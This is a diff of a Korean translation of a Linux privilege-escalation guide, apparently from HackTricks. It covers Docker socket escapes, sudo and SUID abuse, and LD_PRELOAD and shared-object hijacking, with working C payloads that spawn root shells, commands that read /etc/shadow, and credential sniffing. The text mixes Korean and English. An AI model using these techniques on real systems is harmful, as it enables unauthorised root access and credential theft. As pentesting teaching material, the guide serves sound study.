### **타이머 활성화**
@@ -495,30 +490,30 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
```
Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer`
-## Sockets
+## 소켓
-Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.
+Unix Domain Sockets (UDS)는 클라이언트-서버 모델에서 같은 머신 또는 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며 `.socket` 파일을 통해 설정됩니다.
Sockets can be configured using `.socket` files.
-**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
+**Learn more about sockets with `man systemd.socket`.** 이 파일 내부에는 다음과 같은 흥미로운 매개변수를 구성할 수 있습니다:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
-- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
-- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
-- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 서로 다르지만 요약적으로 **소켓이 어디에서 리스닝할지(수신할지)를 표시**하는 데 사용됩니다 (AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등).
+- `Accept`: boolean 인수를 받습니다. 만약 **true**이면, 들어오는 각 연결마다 **서비스 인스턴스가 생성**되며 오직 연결 소켓만 그 인스턴스에 전달됩니다. 만약 **false**이면, 모든 리스닝 소켓 자체가 **시작된 service unit에 전달**되며 모든 연결에 대해 단 하나의 서비스 유닛만 생성됩니다. 이 값은 datagram 소켓과 FIFO에서는 무시되며, 이 경우 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리합니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다.
+- `ExecStartPre`, `ExecStartPost`: 하나 이상 명령줄을 받으며, 각각 리스닝 **소켓**/FIFO가 생성되고 바인드되기 **전** 또는 **후**에 **실행**됩니다. 명령줄의 첫 번째 토큰은 절대 경로의 파일명이어야 하며, 그 뒤에 프로세스 인수가 따라옵니다.
+- `ExecStopPre`, `ExecStopPost`: 리스닝 **소켓**/FIFO가 닫히고 제거되기 **전** 또는 **후**에 **실행되는 추가 명령들**입니다.
+- `Service`: 수신 트래픽에서 활성화할 **service** 유닛 이름을 지정합니다. 이 설정은 `Accept=no`인 소켓에서만 허용됩니다. 기본값은 소켓과 동일한 이름(접미사 치환)을 가진 서비스입니다. 대부분의 경우 이 옵션을 사용할 필요는 없습니다.
-### Writable .socket files
+### 쓰기 가능한 .socket 파일
-If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
+쓰기 가능한 `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor` 같은 항목을 **추가**할 수 있으며, 이렇게 하면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **머신을 재부팅할 때까지 기다려야 할 가능성이 큽니다.**\
_Note that the system must be using that socket file configuration or the backdoor won't be executed_
-### Writable sockets
+### 쓰기 가능한 소켓
-If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability.
+구성 파일인 `.socket` 파일이 아니라 Unix Sockets 자체에 대해 말하는 것이지만, 쓰기 가능한 소켓을 식별하면 해당 소켓과 통신할 수 있고 취약점을 악용할 수도 있습니다.
-### Enumerate Unix Sockets
+### Unix Sockets 열거
```bash
netstat -a -p --unix
```
@@ -540,13 +535,13 @@ socket-command-injection.md
### HTTP sockets
-일부 **sockets listening for HTTP** 요청이 있을 수 있다는 점에 유의하세요 (_.socket 파일이 아니라 unix sockets로 동작하는 파일들을 말하는 것입니다_). 다음 명령으로 확인할 수 있습니다:
+일부 **sockets listening for HTTP** 요청이 있을 수 있습니다 (_여기서 말하는 것은 .socket files가 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-If the socket **HTTP 요청에 응답**한다면, 그 소켓과 **통신**할 수 있고 경우에 따라 **취약점을 exploit**할 수 있습니다.
+If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**.
-### 쓰기 가능한 Docker 소켓
+### Writable Docker Socket
The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.
@@ -557,11 +552,11 @@ If you have write access to the Docker socket, you can escalate privileges using
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-이 명령들은 호스트 파일 시스템에 root-level 접근 권한으로 컨테이너를 실행할 수 있게 합니다.
+이 명령들은 호스트의 파일 시스템에 root-level 액세스로 컨테이너를 실행할 수 있게 합니다.
-#### **Using Docker API Directly**
+#### **Docker API 직접 사용**
-Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 `curl` 명령을 사용해 조작할 수 있습니다.
+Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 `curl` 명령으로 여전히 조작할 수 있습니다.
1. **List Docker Images:** 사용 가능한 이미지 목록을 가져옵니다.
@@ -569,19 +564,19 @@ Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 `
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **Create a Container:** 호스트 시스템의 루트 디렉터리를 마운트하는 컨테이너를 생성하도록 요청을 보냅니다.
+2. **Create a Container:** 호스트 시스템의 루트 디렉토리를 마운트하는 컨테이너를 생성하는 요청을 보냅니다.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
-생성된 컨테이너 시작:
+새로 생성된 컨테이너를 시작합니다:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **Attach to the Container:** `socat`를 사용해 컨테이너에 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다.
+3. **Attach to the Container:** `socat`를 사용해 연결을 설정하면 컨테이너 내부에서 명령을 실행할 수 있습니다.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -591,13 +586,13 @@ Connection: Upgrade
Upgrade: tcp
```
-`socat` 연결을 설정한 후에는 컨테이너 내에서 호스트 파일시스템에 대한 root-level 접근 권한으로 직접 명령을 실행할 수 있습니다.
+`socat` 연결을 설정한 후에는 호스트 파일 시스템에 대한 root-level 액세스로 컨테이너 내에서 명령을 직접 실행할 수 있습니다.
### 기타
-docker socket에 대한 쓰기 권한이 있고 **inside the group `docker`** 상태라면 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)에 대한 추가 방법이 있습니다. 만약 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 해당 API를 악용할 수도 있습니다.
+docker 그룹 `docker`에 속해 있어 docker socket에 대한 쓰기 권한이 있다면 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)를 활용할 수 있습니다. 또한 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) 경우 이를 악용할 수도 있습니다.
-다음 위치에서 **more ways to break out from docker or abuse it to escalate privileges** 를 확인하세요:
+다음에서 **more ways to break out from docker or abuse it to escalate privileges**를 확인하세요:
{{#ref}}
@@ -624,15 +619,15 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있도록 하는 정교한 inter-Process Communication (IPC) 시스템입니다. 현대적인 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다.
+D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 inter-Process Communication (IPC) 시스템입니다. 현대 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다.
-이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 이는 향상된 UNIX domain sockets을 연상시킵니다. 또한 이벤트나 시그널을 브로드캐스트하여 시스템 구성요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬의 수신 호출 신호는 음악 재생기를 음소거하게 하여 사용자 경험을 향상시킬 수 있습니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간 서비스 요청과 메서드 호출을 단순화하며 전통적으로 복잡했던 프로세스를 간소화합니다.
+이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 이는 확장된 UNIX domain sockets와 유사합니다. 또한 이벤트나 신호를 브로드캐스트하여 시스템 구성 요소 간의 원활한 통합을 돕습니다. 예를 들어 Bluetooth 데몬으로부터의 수신 전화 신호가 음악 플레이어를 음소거하도록 트리거할 수 있습니다. 더불어 D-Bus는 원격 객체 시스템을 지원하여 서비스 요청과 메서드 호출을 단순화함으로써 전통적으로 복잡했던 프로세스를 간소화합니다.
-D-Bus는 메시지 권한(메서드 호출, 시그널 전송 등)을 매칭되는 정책 규칙들의 누적 효과에 따라 관리하는 allow/deny 모델로 동작합니다. 이러한 정책들은 버스와의 상호작용을 지정하며, 이 권한들을 악용하면 privilege escalation이 발생할 수 있습니다.
+D-Bus는 메시지 권한(메서드 호출, 신호 전송 등)을 일치하는 정책 규칙들의 누적 효과에 따라 관리하는 allow/deny 모델로 동작합니다. 이러한 정책들은 버스와의 상호작용을 명시하며, 권한을 악용해 privilege escalation이 발생할 수 있습니다.
-예로 /etc/dbus-1/system.d/wpa_supplicant.conf에 있는 정책이 제공되며, 이는 root 사용자가 `fi.w1.wpa_supplicant1`를 소유하고 해당 엔티티로 메시지를 보내고 받을 수 있는 권한을 상세히 기술합니다.
+예로 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책을 보면 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고 해당 서비스로 전송 및 수신할 수 있도록 허용하는 권한이 명시되어 있습니다.
-사용자나 그룹이 지정되지 않은 정책은 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 대상에 적용됩니다.
+사용자나 그룹이 지정되지 않은 정책은 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책으로 다루어지지 않는 모든 항목에 적용됩니다.
```xml
@@ -641,7 +636,7 @@ D-Bus는 메시지 권한(메서드 호출, 시그널 전송 등)을 매칭되
```
-**여기에서 D-Bus communication을 enumerate하고 exploit하는 방법을 배우세요:**
+**여기에서 D-Bus communication을 enumerate 및 exploit하는 방법을 배우세요:**
{{#ref}}
@@ -652,7 +647,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
네트워크를 enumerate하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다.
-### Generic enumeration
+### 일반적인 enumeration
```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
@@ -677,22 +672,22 @@ lsof -i
```
### 열린 포트
-접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 항상 확인하세요:
+접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 network services를 항상 확인하세요:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
-sniff traffic을 할 수 있는지 확인하세요. 가능하다면 일부 credentials를 획득할 수 있습니다.
+트래픽을 sniff할 수 있는지 확인하세요. 가능하다면 일부 credentials를 획득할 수 있습니다.
```
timeout 1 tcpdump
```
-## Users
+## 사용자
-### Generic Enumeration
+### 일반적인 Enumeration
-자신이 **who**인지, 어떤 **privileges**를 가지고 있는지, 시스템에 어떤 **users**가 있는지, 어떤 계정이 **login**할 수 있는지, 그리고 어떤 계정이 **root privileges:**를 가지고 있는지 확인하세요
+다음 사항을 확인하세요: 자신이 **who**인지, 어떤 **privileges**를 가지고 있는지, 시스템에 어떤 **users**가 있는지, 누가 **login**할 수 있는지, 그리고 누가 **root privileges**를 가지고 있는지:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -716,8 +711,8 @@ gpg --list-keys 2>/dev/null
```
### 큰 UID
-일부 Linux 버전은 **UID > INT_MAX** 인 사용자가 권한 상승을 할 수 있게 하는 버그의 영향을 받았습니다. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
-**다음 명령으로 악용할 수 있습니다:** **`systemd-run -t /bin/bash`**
+일부 Linux 버전은 **UID > INT_MAX** 인 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 자세한 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+**Exploit it** using: **`systemd-run -t /bin/bash`**
### 그룹
@@ -730,7 +725,7 @@ interesting-groups-linux-pe/
### 클립보드
-클립보드 안에 흥미로운 내용이 있는지(가능하면) 확인하세요
+가능하다면 클립보드 안에 흥미로운 내용이 있는지 확인하세요
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@@ -747,27 +742,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### 알려진 비밀번호
-환경의 비밀번호를 **알고 있다면**, 그 비밀번호로 **각 사용자로 로그인해 보세요**.
+환경의 **비밀번호를 알고 있다면**, 그 비밀번호를 사용해 **각 사용자로 로그인해 보세요**.
### Su Brute
-많은 노이즈가 발생하는 것을 개의치 않고 대상 컴퓨터에 `su`와 `timeout` 바이너리가 있다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 brute-force 해볼 수 있습니다.\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)의 `-a` 파라미터도 사용자를 brute-force 시도합니다.
+많은 소음을 내는 것을 개의치 않고 시스템에 `su`와 `timeout` 바이너리가 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 brute-force해 볼 수 있습니다.\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 는 `-a` 파라미터로 사용자에 대해 brute-force도 시도합니다.
-## 쓰기 가능한 PATH 오용
+## 쓰기 가능한 PATH 악용
### $PATH
-만약 $PATH의 어떤 폴더에 **쓰기할 수 있다면**, 해당 쓰기 가능한 폴더 안에 다른 사용자(이상적으로는 root)가 실행할 명령 이름으로 **backdoor를 생성함으로써** 권한을 escalate할 수 있습니다. 단, 그 명령이 $PATH에서 당신의 쓰기 가능한 폴더보다 **이전에 위치한 폴더에서 로드되지 않는 경우**여야 합니다.
+만약 **$PATH의 어떤 폴더에 쓰기 권한이 있다면**, 다른 사용자(이상적으로는 root)가 실행할 명령 이름으로 **쓰기 가능한 폴더 안에 백도어를 생성하는 것**으로 권한 상승이 가능할 수 있습니다. 이때 해당 명령이 **$PATH에서 당신의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 로드되지 않아야** 합니다.
### SUDO and SUID
-sudo로 일부 명령을 실행할 수 있게 허용되어 있거나 suid 비트가 설정되어 있을 수 있습니다. 다음 명령으로 확인하세요:
+sudo를 사용해 일부 명령을 실행할 수 있거나, 명령들에 suid bit가 설정되어 있을 수 있습니다. 다음으로 확인하세요:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
-일부 **예상치 못한 명령어는 파일을 읽고/또는 쓰거나 심지어 명령을 실행할 수 있게 합니다.** 예를 들어:
+일부 **예상치 못한 명령은 파일을 읽고/또는 쓸 수 있게 하거나 심지어 명령을 실행할 수 있습니다.** 예를 들어:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@@ -778,37 +773,37 @@ less>!
```
### NOPASSWD
-Sudo 구성은 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 일부 명령을 실행할 수 있도록 허용할 수 있다.
+Sudo 설정은 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 명령을 실행할 수 있게 허용할 수 있다.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-이 예에서는 사용자 `demo`가 `root`로 `vim`을 실행할 수 있으므로, root 디렉터리에 ssh 키를 추가하거나 `sh`를 호출하여 shell을 얻는 것은 간단합니다.
+이 예에서는 사용자 `demo`가 `root`로 `vim`을 실행할 수 있으므로, root 디렉터리에 ssh key를 추가하거나 `sh`를 호출하여 shell을 얻는 것은 이제 매우 쉽습니다.
```
sudo vim -c '!sh'
```
### SETENV
-이 디렉티브는 사용자가 어떤 것을 실행하는 동안 **환경 변수를 설정**할 수 있게 합니다:
+이 디렉티브는 사용자가 실행 중에 **환경 변수를 설정**할 수 있게 해줍니다:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-이 예제는 **HTB machine Admirer를 기반으로 한** 것으로, 루트로 스크립트를 실행할 때 임의의 python 라이브러리를 로드하기 위해 **PYTHONPATH hijacking**에 **취약**했습니다:
+이 예제는, **HTB machine Admirer를 기반으로 한**, 스크립트를 root로 실행할 때 임의의 python 라이브러리를 로드하기 위해 **PYTHONPATH hijacking**에 **취약했습니다**:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
-### BASH_ENV preserved via sudo env_keep → root shell
+### BASH_ENV가 sudo env_keep로 보존될 때 → root shell
-If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
+만약 sudoers가 `BASH_ENV`를 보존한다면(예: `Defaults env_keep+="ENV BASH_ENV"`), 허용된 명령을 실행할 때 Bash의 비대화형 시작 동작을 이용해 루트 권한으로 임의의 코드를 실행할 수 있습니다.
-- Why it works: 비대화(non-interactive) shell에서 Bash는 `$BASH_ENV`를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source합니다. 많은 sudo 규칙이 스크립트나 shell wrapper의 실행을 허용합니다. 만약 `BASH_ENV`가 sudo에 의해 보존된다면, 해당 파일이 root 권한으로 source됩니다.
+- Why it works: 비대화형 셸에서는 Bash가 `$BASH_ENV`를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source 합니다. 많은 sudo 규칙이 스크립트나 셸 래퍼 실행을 허용합니다. `BASH_ENV`가 sudo에 의해 보존되면, 당신의 파일이 root 권한으로 source 됩니다.
- Requirements:
-- 실행 가능한 sudo 규칙 (비대화(non-interactive)로 `/bin/bash`를 호출하는 대상이나, 임의의 bash 스크립트).
-- `BASH_ENV`가 `env_keep`에 포함되어 있어야 함 (`sudo -l`로 확인).
+- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
+- `BASH_ENV` present in `env_keep` (check with `sudo -l`).
- PoC:
```bash
@@ -821,13 +816,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/
# You should now have a root shell
```
- 하드닝:
-- `env_keep`에서 `BASH_ENV` (및 `ENV`)를 제거하고, `env_reset`을 사용하는 것이 좋습니다.
-- sudo로 허용된 명령에 대해 셸 래퍼를 피하고, 최소한의 바이너리를 사용하세요.
+- `env_keep`에서 `BASH_ENV`(및 `ENV`)를 제거하고, `env_reset`을 선호하세요.
+- sudo-allowed commands에 대해 shell wrappers를 피하고 최소한의 바이너리를 사용하세요.
- 보존된 env vars가 사용될 때 sudo I/O 로깅 및 알림을 고려하세요.
### Sudo 실행 우회 경로
-**Jump**로 다른 파일을 읽거나 **symlinks**를 사용하세요. 예를 들어 sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Jump**를 통해 다른 파일을 읽거나 **symlinks**를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@@ -837,16 +832,16 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
-만약 **wildcard**가 사용된다면 (\*), 훨씬 더 쉽습니다:
+만약 **wildcard**가 사용된다 (\*), 훨씬 더 쉬워집니다:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
**대응책**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
-### Sudo 명령/SUID 바이너리 (명령 경로 없음)
+### Sudo command/SUID binary (명령 경로 없이)
-만약 **sudo permission**이 단일 명령에 대해 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다.
+만약 **sudo permission**이 단일 명령에 대해 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수 변경으로 이를 악용할 수 있다.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@@ -856,11 +851,11 @@ sudo less
[Payload examples to execute.](payloads-to-execute.md)
-### SUID 바이너리 (명령 경로가 지정된 경우)
+### SUID 바이너리 (명령 경로가 있는 경우)
-만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령 이름으로 **export a function** 해볼 수 있습니다.
+만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행**한다면, suid 파일이 호출하는 명령 이름으로 **export a function**을 시도해볼 수 있습니다.
-예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 해당 이름으로 함수를 생성하고 export 해보세요:
+예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 함수를 생성하고 export해야 합니다:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@@ -871,16 +866,16 @@ export -f /usr/sbin/service
The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
-하지만 시스템 보안을 유지하고 이 기능이 특히 **suid/sgid** 실행 파일에서 악용되는 것을 방지하기 위해, 시스템은 몇 가지 조건을 강제합니다:
+그러나 시스템 보안을 유지하고 특히 **suid/sgid** 실행 파일에서 이 기능이 악용되는 것을 방지하기 위해 시스템은 특정 조건을 적용합니다:
-- 로더는 실제 사용자 ID (_ruid_)가 유효 사용자 ID (_euid_)와 일치하지 않는 실행 파일에 대해서는 **LD_PRELOAD**를 무시합니다.
-- suid/sgid인 실행 파일의 경우, 선로딩되는 라이브러리는 표준 경로에 있으며 또한 suid/sgid인 라이브러리로 제한됩니다.
+- 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다.
+- **suid/sgid**가 설정된 실행 파일의 경우, 표준 경로에 있고 또한 suid/sgid인 라이브러리만 프리로드됩니다.
-Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.
+Privilege escalation은 `sudo`로 명령을 실행할 수 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD**가 포함되어 있는 경우 발생할 수 있습니다. 이 구성은 명령이 `sudo`로 실행될 때에도 **LD_PRELOAD** 환경 변수가 유지되어 인식되도록 허용하므로 권한 상승된 상태에서 임의의 코드가 실행될 가능성이 있습니다.
```
Defaults env_keep += LD_PRELOAD
```
-다음 이름으로 저장하세요: **/tmp/pe.c**
+다음으로 저장하세요 **/tmp/pe.c**
```c
#include
#include
@@ -893,17 +888,17 @@ setuid(0);
system("/bin/bash");
}
```
-그런 다음 **컴파일**하려면 다음을 사용하세요:
+그런 다음 **컴파일하세요**:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-마지막으로, **escalate privileges**를 실행
+마지막으로, **escalate privileges**를 실행합니다
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> 유사한 privesc는 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우 악용될 수 있습니다. 이는 공격자가 라이브러리가 검색될 경로를 제어한다는 뜻입니다.
+> 유사한 privesc는 공격자가 **LD_LIBRARY_PATH** env variable을 제어할 수 있는 경우 악용될 수 있습니다. 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다.
```c
#include
#include
@@ -925,13 +920,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 만났을 때, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 이는 다음 명령어를 실행하여 확인할 수 있습니다:
+특이한 **SUID** 권한을 가진 binary를 발견하면, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋다. 이는 다음 명령어를 실행하여 확인할 수 있다:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 같은 오류가 발생하면 잠재적인 악용 가능성을 시사합니다.
+예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_와 같은 오류가 발생하면 잠재적인 악용 가능성을 시사합니다.
-이를 악용하려면 _"/path/to/.config/libcalc.c"_ 같은 C 파일을 생성하여 다음 코드를 포함하면 됩니다:
+이를 악용하기 위해서는 _"/path/to/.config/libcalc.c"_라는 C 파일을 생성하고 다음 코드를 포함시키면 됩니다:
```c
#include
#include
@@ -942,13 +937,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 shell을 실행하여 권한을 획득하려고 합니다.
+이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 쉘을 실행하여 권한을 획득하는 것을 목표로 합니다.
-위의 C 파일을 다음 명령으로 공유 객체(.so) 파일로 컴파일하세요:
+위 C 파일을 공유 오브젝트(.so) 파일로 컴파일하려면 다음을 사용하세요:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-마지막으로, 영향을 받은 SUID 바이너리를 실행하면 exploit이 작동하여 시스템이 침해될 수 있습니다.
+마지막으로, 영향을 받은 SUID binary를 실행하면 exploit가 트리거되어 잠재적으로 시스템 침해가 발생할 수 있습니다.
## Shared Object Hijacking
```bash
@@ -960,7 +955,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-우리가 쓰기가 가능한 폴더에서 library를 로드하는 SUID binary를 찾았으니, 그 폴더에 필요한 이름으로 library를 생성하자:
+이제 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID 바이너리를 찾았으므로, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -973,24 +968,23 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
-다음과 같은 오류가 발생한다면
+다음과 같은 오류가 발생하면
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
